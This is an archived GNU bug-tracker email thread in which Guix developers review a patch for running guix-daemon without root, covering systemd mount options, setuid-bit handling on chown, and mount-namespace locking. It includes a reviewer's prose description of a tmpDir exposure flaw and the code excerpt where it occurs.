 id 1tk4MH-0003rZ-Ih
 for 75810 <at> debbugs.gnu.org; Mon, 17 Feb 2025 11:52:42 -0500
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=inria.fr; s=dc;
 h=from:to:cc:subject:in-reply-to:references:date:
 message-id:mime-version:content-transfer-encoding;
 bh=ReWBDVaBWZ3y9KLImKHX5d3/NUY4RSq/owzKRsKB/5s=;
 b=hnnOoS0zdrcawcAJnTCAmMSNL51hy0yuO9G6/VdYgoJh0qWA135HkLrM
 CSOjaZ9Foj3GhM0LMsKSRL5L7GMdKr0y5ZooNe61oTcUkCk9DH7dYulNn
 h5li1OPBI5lvxm17isxbWlRykRclZ0UKTi+VuUHFrzes/Q8sOsBh6ZVwT Y=;
Authentication-Results: mail2-relais-roc.national.inria.fr;
 dkim=none (message not signed) header.i=none;
 spf=SoftFail smtp.mailfrom=ludovic.courtes@HIDDEN;
 dmarc=fail (p=none dis=none) d=inria.fr
X-IronPort-AV: E=Sophos;i="6.13,293,1732575600"; d="scan'208";a="208678154"
Received: from unknown (HELO ribbon) ([193.50.110.84])
 by mail2-relais-roc.national.inria.fr with
 ESMTP/TLS/ECDHE-RSA-AES256-GCM-SHA384; 17 Feb 2025 17:52:30 +0100
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludovic.courtes@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Remounting the store read-write for guix-daemon
In-Reply-To: <87bjvshrk0.fsf@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s=22'?=
 =?utf-8?Q?s?= message of "Mon, 27 Jan 2025 22:31:43 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
Date: Mon, 17 Feb 2025 17:52:30 +0100
Message-ID: <87h64sldip.fsf_-_@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hi,

Ludovic Court=C3=A8s <ludo@HIDDEN> skribis:

> I think I=E2=80=99d prefer to have a systemd (or other) service make a
> read-write bind-mount at /gnu/store/.rw-store, and then we=E2=80=99d run
> =E2=80=98guix-daemon --backing-store=3D/gnu/store/.rw-store=E2=80=99.

For a moment, I thought we could just do nothing on our side and instead
take advantage of what systemd (and shepherd) have to offer.

On the systemd side, there are several things that looked promising=C2=B9.
First option:

  PrivateMounts=3Dtrue
  PrivateUsers=3Dtrue
  ReadWritePaths=3D/gnu/store

But that doesn=E2=80=99t work: the doc says that files in =E2=80=98ReadWrit=
ePaths=E2=80=99 =E2=80=9Care
accessible from within the namespace with the same access modes as from
outside of it=E2=80=9D (so read-only in our case).

Second option:

  BindPaths=3D/gnu/store

=E2=80=A6 but that does essentially nothing, and we can=E2=80=99t specify t=
hat we want
=E2=80=9Cremount,rw=E2=80=9D.

Third option:

  ExecStartPre=3Dmount --bind -o rw,remount /gnu/store

=E2=80=A6 but the doc for =E2=80=98PrivateMounts=E2=80=99 says that =E2=80=
=9C[m]ounts established in the
namespace of the process created by ExecStartPre=3D will hence be cleaned
up automatically as soon as that process exits and will not be available
to subsequent processes forked off for ExecStart=3D=E2=80=9D.

If anyone familiar with systemd has other ideas, I=E2=80=99m all ears!

Otherwise I think we=E2=80=99ll have to have that =E2=80=98--backing-store=
=E2=80=99 option
(which would be useful in other contexts anyway).

Thanks,
Ludo=E2=80=99.

=C2=B9 https://www.freedesktop.org/software/systemd/man/latest/systemd.exec=
.html#




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 16 Feb 2025 02:40:55 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Sat Feb 15 21:40:54 2025
Received: from localhost ([127.0.0.1]:59265 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tjUaU-0001nw-0y
	for submit <at> debbugs.gnu.org; Sat, 15 Feb 2025 21:40:54 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:46760)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tjUaP-0001nf-95
 for 75810 <at> debbugs.gnu.org; Sat, 15 Feb 2025 21:40:51 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=iDgY32vaZYp+aWrvFSDUa2KsPFczRIcrw1ibTQAw27E=; b=5LfWx6g8E5gmZJzg7wWjtExzcv
 C7meu0zXn+OAmysBoNIj/RKxMRxoah/2CnjshTZlAdPlkXoKS4+JdAo+ayCQ==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=iDgY32vaZYp+aWrvFSDUa2KsPFczRIcrw1ibTQAw27E=; b=dGLEC0VbGO4hc9ViyUIB6y7r3x
 ahqdYg96Od3UWO1WeNterF16Ei7SQZqUiRbZX9iNJAYu5WtidxPVrJgrbUg331h2CVW5nXVk4LRAu
 FjC7M0G0eWS7WONVdONrOqVlQtZqZtmIF00IntFqIDks4jNbu9VNkTQpcfBepUkVGJrpTyMBkiaXi
 nwL79rptaDeYrIjFNCHYNzSaGaxcJCW+Y5dqX2GYOWK+TaH/EbYFNG2RBLv0fEWt4eMWL11UtqN+G
 NV8r2QaeLbTukmvgXqG1rZAFV8OlMLQVLE19fPhzee69XI4xjvDLAMN0oVtlPKAiNgPWziWz2L/3f
 F+kdW/5zFPy9y8rjJNmJZFaWP8XAgLVrp/W25cE0FMZO+ikDM8Yl7M3Dj0AIhD+NZWOTFOOFPCwjv
 h9GzlgTJjd3w0/qPXIMGz4+0/AJ3VTa2eR3nXYIZ50b2sFJri4cTo6C+9pw+LmAK0kTi2CMdn38nH
 u3DQvixZ+E7oviFuZfxYJ+O+M+Hg/Ib2xOGxvw6eKKlRRRxKOQa58mjexqhakfgxx23OIOmbVo0cv
 wMbXC5JD3l9EL/gI/0aTdeTNcuQaHKi+Tp7+VmSDn+gCFZIXQ53UNKUXTbqGJXWFTFP9klPTe4GHO
 RxMlerU8YOhA9a4cFWdJmbIME7e7BJI+taLJQikCc=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tjUaK-000000006Xd-2omK; Sat, 15 Feb 2025 20:40:46 -0600
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87o6z2vqnt.fsf@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s=22'?=
 =?utf-8?Q?s?= message of "Sat, 15 Feb 2025 22:33:58 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN> <877c5u2ct5.fsf@HIDDEN>
 <87jz9sc72o.fsf@HIDDEN> <87o6z2vqnt.fsf@HIDDEN>
Date: Sat, 15 Feb 2025 20:40:04 -0600
Message-ID: <87cyfid33v.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> We seem to be relying
    entirely on the Linux behavior of chown to reset >> setuid / setgid bits.
    > > Yes, and I think chown(2) is quite clear: > > When the owner or group
    of an executable file is ch [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 2.5 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> We seem to be relying
    entirely on the Linux behavior of chown to reset >> setuid / setgid bits.
    > > Yes, and I think chown(2) is quite clear: > > When the owner or group
    of an executable file is ch [...] 
 
 Content analysis details:   (2.5 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  2.0 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 2.5 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> We seem to be relying
    entirely on the Linux behavior of chown to reset >> setuid / setgid bits.
    > > Yes, and I think chown(2) is quite clear: > > When the owner or group
    of an executable file is ch [...] 
 
 Content analysis details:   (2.5 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  2.0 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

>> We seem to be relying entirely on the Linux behavior of chown to reset
>> setuid / setgid bits.
>
> Yes, and I think chown(2) is quite clear:
>
>   When the owner or group of an executable file is changed by an
>   unprivileged user, the S_ISUID and S_ISGID mode bits are cleared.
>   [=E2=80=A6] since Linux 2.2.13, root is treated like other users.

Ah, I misread it as "changed by an unprivileged process", not "changed
by an unprivileged user".  That clears things up.

>> Now, for the non-pedantic, significant issue that I came across while
>> writing all that: previously, it was not possible for the
>> tmpDir-exposing code to be reached without doing the _chown that also
>> reset setuid and setgid bits.  But with this patch, in the non-root,
>> non-CAP_CHOWN case (which is what is currently proposed for Guix
>> System), it can be reached through the catch clause.  In that case it
>> will expose tmpDir without changing any permission bits of files beneath
>> it, allowing anybody who can access a setuid program in tmpDir (which,
>> due to that 0755 chmod, is "everybody") to take control of the build
>> user (which in this case would be guix-daemon).
>
> I=E2=80=99m not sure I understand what you mean by =E2=80=9Cthe tmpDir-ex=
posing code=E2=80=9D;
> are you talking about =E2=80=98DerivationGoal::deleteTmpDir=E2=80=99?

by "the tmpDir-exposing code" I mean this section inside of
DerivationGoal::deleteTmpDir, starting at nix/libstore/build.cc line
2818 in commit e6c588:

=2D-8<---------------cut here---------------start------------->8---
		if (top !=3D tmpDir) {
		    // Rename tmpDir to its parent, with an intermediate step.
		    string pivot =3D top + ".pivot";
		    if (rename(top.c_str(), pivot.c_str()) =3D=3D -1)
			throw SysError("pivoting failed build tree");
		    if (rename((pivot + "/top").c_str(), top.c_str()) =3D=3D -1)
			throw SysError("renaming failed build tree");

		    if (getuid() !=3D 0)
			/* Running unprivileged but with CAP_CHOWN.  */
			chown(top.c_str(), uid, gid);

		    rmdir(pivot.c_str());
		}
=2D-8<---------------cut here---------------end--------------->8---

>> I still think it would be a good idea to call unshare to create an extra
>> user and mount namespace just before executing the builder in the
>> unprivileged case, just to be sure that the mount-locking behavior is
>> triggered in a way that is documented.
>
> The problem with =E2=80=9Cmount locking=E2=80=9D (and =E2=80=9Cpeer group=
=E2=80=9D and in fact most
> =E2=80=9Cconcepts=E2=80=9D mentioned in mount(2)) is that it=E2=80=99s no=
t clearly defined.
> Here I=E2=80=99m relying on unit tests to ensure that the various bits can
> indeed not be remounted read-write, for instance.  (=E2=80=9Cmake check=
=E2=80=9D tests
> the same setup as unprivileged daemon, which is an advantage over the
> current situation where the separate-build-user setup is not covered by
> the test suite.)

Both of those concepts are described in mount_namespaces(7).  While my
reading of that leaves me with several questions, the section
"restrictions on mount namespaces" does have this:

       [5] The mount(2) flags MS_RDONLY, MS_NOSUID, MS_NOEXEC, and the "ati=
me"
           flags  (MS_NOATIME,  MS_NODIRATIME,  MS_RELATIME)  settings  bec=
ome
           locked when propagated from a more privileged to a less  privile=
ged
           mount  namespace,  and  may  not  be changed in the less privile=
ged
           mount namespace.

           This point is illustrated in the following example where, in a m=
ore
           privileged  mount  namespace, we create a bind mount that is mar=
ked
           as read-only.  For security reasons, it should not be  possible =
 to
           make  the  mount writable in a less privileged mount namespace, =
and
           indeed the kernel prevents this:

               $ sudo mkdir /mnt/dir
               $ sudo mount --bind -o ro /some/path /mnt/dir
               $ sudo unshare --user --map-root-user --mount \
                              mount -o remount,rw /mnt/dir
               mount: /mnt/dir: permission denied.

which seems to indicate that it is sufficient for preventing
modification of mount flags that the caller be in a less privileged
mount namespace than the one the mount was inherited from.  "Less
privileged" is defined as:

       [1] Each mount namespace has an owner  user  namespace.   As  explai=
ned
           above,  when  a  new  mount namespace is created, its mount list=
 is
           initialized as a copy of the mount list of another mount namespa=
ce.
           If  the  new  namespace and the namespace from which the mount l=
ist
           was copied are owned by different user  namespaces,  then  the  =
new
           mount namespace is considered less privileged.

So putting the builder in a fresh mount namespace owned by a fresh user
namespace should suffice to achieve this.

It's worth noting that EPERM is returned by mount both for attempts to
modify locked mount points and for just generally not having the
required capability, so a unit test may have trouble establishing why a
particular behavior is being observed.  Ideally it wouldn't be possible
to modify the inputs even if the builder managed to acquire the required
capability in its user namespace.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmexUAQXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJxqywf+O7JKSO8MJLvUU9VnXB+4ectV
Cew3MzUpCTI5hXGzZ+F0kL3APataYHG72g1Vmgtf1Q2tJVqG9NKFrMzKTI4qKXv9
+Vg/2/UOiDr3X1ACA7zMgz/hKZ6ZVwk13JE0S8JaBjiJKvYc+4FKKDd9G0ERdq6Y
RGxs2DsCDaHLefWEuzNASboh+AnOTqVI35HhwWDYibfXNmqMLT5TKCuph5jThPrO
Jdl8vzlaf9kbe3qI38/RWwkH3fF8N0pjNSAEcATB1YIFZJuTiyG2o/rInj5RgEce
t3PwYfuZ9JtRzU3JWYcaF+8mbiBHft4qsyTwzWxna4YZRgO1GxZSakwH+JGsAg==
=fmOO
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 15 Feb 2025 21:34:14 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Sat Feb 15 16:34:14 2025
Received: from localhost ([127.0.0.1]:58301 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tjPnh-0003dF-SI
	for submit <at> debbugs.gnu.org; Sat, 15 Feb 2025 16:34:14 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:50402)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tjPne-0003ct-Ma
 for 75810 <at> debbugs.gnu.org; Sat, 15 Feb 2025 16:34:11 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tjPnY-0007R2-Hg; Sat, 15 Feb 2025 16:34:04 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=bNnGR25Xb5WX8L+ytojYUaEv1R4QABOUAfBAC/8RKBU=; b=ecDPyOijyGr9pmxv3cS3
 4RmgoXPY/9QyPewSCD88NCx3U/Q4kqY/1mPGXaMabCS3KCcS2HXzh9vkBJxPu9qcxkHaXlhVYsiEK
 91z1MWIqpXuTJDZ26HkZMtweH4oIJIR0wdBFnzGuWoVufjAXbWpWLb6H4pOlgX08nN+oXM8K9mq7p
 QIaeGBNa8oI3l9X9+B8sDxD1Usceyr80gyebuDmjOpn7cMrR0uZlpRN2Y2vUSZ9J8SdIDxYqFS/wq
 OqkrrApr1C4igU0JXFlKvN1/6HXWsvEUbNe4/zerrzUqoXhV2FhfyzyCpcbZ96txl3S0wPoBPmM+y
 UWYlG9eVgqgrsg==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87jz9sc72o.fsf@HIDDEN> (Reepca Russelstein's message of
 "Fri, 14 Feb 2025 19:47:27 -0600")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN> <877c5u2ct5.fsf@HIDDEN>
 <87jz9sc72o.fsf@HIDDEN>
Date: Sat, 15 Feb 2025 22:33:58 +0100
Message-ID: <87o6z2vqnt.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -0.3 (/)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.3 (-)

Hi,

(Just a quick reply; there=E2=80=99s a lot in here. :-))

Reepca Russelstein <reepca@HIDDEN> skribis:

> I expect that it should work to:
> 1. go through the entire normal chroot setup
> 2. bind-mount /gnu/store and /tmp to themselves within the chroot using
>    MS_REC so that they are treated as distinct filesystems but also
>    still have their existing bind-mounts underneath them
> 3. bind-mount / to itself using MS_REC
> 4. remount / read-only using MS_RDONLY | MS_REMOUNT | MS_BIND

Yes.  I pushed what I have now at
<https://codeberg.org/civodul/guix/src/branch/wip-rootless-daemon>.  It
does work as expected: / is read-only, /tmp and /gnu/store are
read-write, individual inputs in /gnu/store are read-only.

> Also, _chown does the actual chown on descent, not on return, so it
> first chowns a directory and then goes through its contents.  This means
> that, again, if there weren't the top directory there to block access,
> it would be possible to access a setuid program before it was chown'ed.

Right.

> We seem to be relying entirely on the Linux behavior of chown to reset
> setuid / setgid bits.

Yes, and I think chown(2) is quite clear:

  When the owner or group of an executable file is changed by an
  unprivileged user, the S_ISUID and S_ISGID mode bits are cleared.
  [=E2=80=A6] since Linux 2.2.13, root is treated like other users.

> Now, for the non-pedantic, significant issue that I came across while
> writing all that: previously, it was not possible for the
> tmpDir-exposing code to be reached without doing the _chown that also
> reset setuid and setgid bits.  But with this patch, in the non-root,
> non-CAP_CHOWN case (which is what is currently proposed for Guix
> System), it can be reached through the catch clause.  In that case it
> will expose tmpDir without changing any permission bits of files beneath
> it, allowing anybody who can access a setuid program in tmpDir (which,
> due to that 0755 chmod, is "everybody") to take control of the build
> user (which in this case would be guix-daemon).

I=E2=80=99m not sure I understand what you mean by =E2=80=9Cthe tmpDir-expo=
sing code=E2=80=9D;
are you talking about =E2=80=98DerivationGoal::deleteTmpDir=E2=80=99?

> Going by the "Running unprivileged but with CAP_CHOWN" comment, it would
> seem that code is meant to only be reached by reaching the end of the
> "try" block, not by reaching the end of the "catch" block.  I think it
> would be a good idea to call secureFilePerms(tmpDir) before any attempt
> at chown'ing.

Yeah, we can do that to be on the safe side.

> I still think it would be a good idea to call unshare to create an extra
> user and mount namespace just before executing the builder in the
> unprivileged case, just to be sure that the mount-locking behavior is
> triggered in a way that is documented.

The problem with =E2=80=9Cmount locking=E2=80=9D (and =E2=80=9Cpeer group=
=E2=80=9D and in fact most
=E2=80=9Cconcepts=E2=80=9D mentioned in mount(2)) is that it=E2=80=99s not =
clearly defined.
Here I=E2=80=99m relying on unit tests to ensure that the various bits can
indeed not be remounted read-write, for instance.  (=E2=80=9Cmake check=E2=
=80=9D tests
the same setup as unprivileged daemon, which is an advantage over the
current situation where the separate-build-user setup is not covered by
the test suite.)

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 15 Feb 2025 01:49:14 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 14 20:49:14 2025
Received: from localhost ([127.0.0.1]:52532 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tj7Iv-0002ho-Bd
	for submit <at> debbugs.gnu.org; Fri, 14 Feb 2025 20:49:14 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:50614)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tj7Iq-0002hZ-Ot
 for 75810 <at> debbugs.gnu.org; Fri, 14 Feb 2025 20:49:11 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=GyBiT4h3ndchOhbyPIBvBeUZxZg58Y8avyhi4+S/SHE=; b=IbmB2piICQMuTEl+uwIg2WfOvK
 oIvUnHAvpqm+YTbOryzxEEBN5g+NUCyir/UTDn1Sw6iIebfTtCIKHB4O2wAA==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=GyBiT4h3ndchOhbyPIBvBeUZxZg58Y8avyhi4+S/SHE=; b=j0OIjfcLnu7VW306I6YwKa2QWU
 J6+6rjZ9ISjwCUGNYxlbYqnyCYpbXikt6UeM12LH3Cp8/OPlX/sZU7ZwTwwaYQdzO3JPUe0YeCen2
 mFE8UgCyX0uyCzBKCJnHi07lqsJrr41dmYTnsu7qiXKecIG67HaDDVs3KuAPEElKMknx31zeeEqck
 3gv4X/Y2qGtiOv8cygGeA92i6LrS6CgjKjGEraGIw4oclG34cwKNQzfLN64YHjwH0ruJ+4n1vaudh
 Q10j11vxaN/Hyfb4IMOYyAwYTNEsCS31q0w+TePklfdpc5eOOsywRb4jSjOpBdAHXBQpxZOcgk7gm
 0DUbmBpcqxTx8dUw0p6IdZmHQkLxHARVdJQ9qo2Xtq4mp+YyCJfNOLsEGKKOar6l78SAT6EEsLlLm
 MHa3tFWjLjpyDaLNZt48cwzLFptHuY8XI0DMordymVH6mRHgY8acyF+De355hVJ0vm0E7RaPRVz8r
 5pI6PjwBHDRzZlacsXmrvkR1zikeb7mTYu4S5aRXXs8PvXg2FYZ6QVJh2b+WCfkazI0+ry5HR/qxf
 0K0ghgMayeIxd9CsqC2YJEv5zNAPHBkEBZbecAwprpGBtOu58xasoDVaml+0bbi8LpOwrLwZgjTFU
 MGcg2a2eST1wqwDjwbJARx9csdfzLLegmS3/PTdV8=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tj7Il-000000003B2-3mGi; Fri, 14 Feb 2025 19:49:05 -0600
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <877c5u2ct5.fsf@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s=22'?=
 =?utf-8?Q?s?= message of "Thu, 13 Feb 2025 14:29:10 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN> <877c5u2ct5.fsf@HIDDEN>
Date: Fri, 14 Feb 2025 19:47:27 -0600
Message-ID: <87jz9sc72o.fsf@HIDDEN>
